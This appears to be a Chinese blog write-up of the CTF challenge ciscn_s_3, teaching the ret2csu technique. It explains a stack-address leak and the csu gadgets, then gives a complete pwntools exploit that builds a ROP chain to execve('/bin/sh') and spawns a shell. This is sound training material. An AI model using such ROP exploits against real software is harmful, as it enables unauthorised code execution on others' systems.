PWNret2csu技巧题目ciscn_s_3

ret2csu

csu技巧:程序一般都会有一个__libc_csu_init()函数,函数里面会有很多对于寄存器的操作,如果通过溢出等手段进入那里,就可以对函数参数设置

b站星盟安全的师傅讲的很好,这是课程里面的截图
在这里插入图片描述
补充一点小知识
32 位:系统调用号放入 eax,参数依次放到 ebx、ecx、edx,返回值放在 eax
64 位:系统调用号放入 rax,参数依次放到 rdi、rsi、rdx,返回值放在 rax
题目 ciscn_s_3
ida打开看一下
请添加图片描述
程序里还有一个gadgets的函数,题目作者很明显想让我们利用里面的gadget,此时有个让rax(系统调用号)为0xf和0x3b的,查了一下0xf是sigreturn函数的调用号,0x3b是execve函数的调用号,所以题目有两种方法,但是sigreturn函数查了一下不太清楚是什么,所以我们用execve函数
请添加图片描述
题目思路:

利用ret2csu构造函数execve(“/bin/sh”),首先要写入binsh字符串,并找到它的真实地址,第一个read和write就是让我们这么做的,然后栈溢出返回值继续返回到vuln函数,第二次read函数溢出到csu里面设置execve,最后ret到syscall调用函数

首先写入binsh字符串,并找到它的真实地址

看到write函数,函数是从rsp-0x10开始输出0x30个字节,而buf的内容加上它的rbp,ret一共就0x20个字节,所以每次write都会泄露栈上的某个地址,而这个地址和我们输入的地址间的偏移是固定的也就是:0xdea8-0xdd60=0x148,有了这个偏移我们每次都能找到bin/sh的真实地址请添加图片描述
请添加图片描述
然后是设置函数 我们想要的是execve(“/bin/sh”)即rdi=sh_addr,rsi=0,rdx=0,这就要通过__libc_csu_init()函数来赋值,这个csu_addr1和csu_addr2位置其实没什么要求,最重要的是系统调用号
请添加图片描述
然后看到payload处,有人可能对这个0x50表示疑惑,这道题我看了别人的解析发现好像根本不太用设置这些寄存器0.0,咳咳,这个sh+0x50是赋值给r12的,看到上图的0x400589处,它会call一个地址,而这个p64(csu_addr2)正好是sh_addr+0x50,那么就会跳转到csu_addr2处(r12+rbx*8 然后rbx=0,r12是sh_addr+0x50在payload中也就是csu_addr2)

payload += p64(sh_addr+0x50)  #r12
...
payload += p64(csu_addr2)  #call[r12+rbx*8]

小贴士,64位函数传参pop rdi + 参数

找pop rdi:ROPgadget --binary ciscn_s_3 |grep “pop rdi”

最后设置完随便跳转到一个syscall处就会执行execve(“/bin/sh”)啦
请添加图片描述
但是这道题还有个小问题,就是不知道为什么本地的sh_addr的偏移是0x148,而远程的是0x118,这个可能跟libc有关吧,我也懒得换个libc试一下00

from pwn import *
context.arch = 'amd64'
context.log_level='debug'
p = process('./ciscn_s_3')
#p = remote("node5.buuoj.cn",25042)

#find_real_binsh
vuln_addr = 0x4004ED
payload=b'/bin/sh\x00'+b'a'*8+p64(vuln_addr) #不用覆盖rbp,汇编中没有leave
p.sendline(payload)
#gdb.attach(p,'b *0x400503')

p.recv(0x20)
sh_addr = u64(p.recv(8))-0x148
print(hex(sh_addr))

sys_execve_addr = 0x4004E2

#set csu
csu_addr1 = 0x40059A  #pop rbx
csu_addr2 = 0x400580  #mov rdx,r13
#rdi=sh,rsi=0,rdx=0
payload = b'/bin/sh\x00'+b'a'*8+p64(csu_addr1) 
payload += p64(0)  #rbx
payload += p64(0)  #rbp
payload += p64(sh_addr+0x50)  #r12
payload += p64(0)  #r13
payload += p64(0)  #r14
payload += p64(0)  #r15
payload += p64(csu_addr2)  #call[r12+rbx*8]
payload += p64(sys_execve_addr)
#rdi+sh+ret
payload += p64(0x4005a3)+p64(sh_addr)+p64(0x400501) #syscall
p.sendline(payload)

p.interactive()
  • 16
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值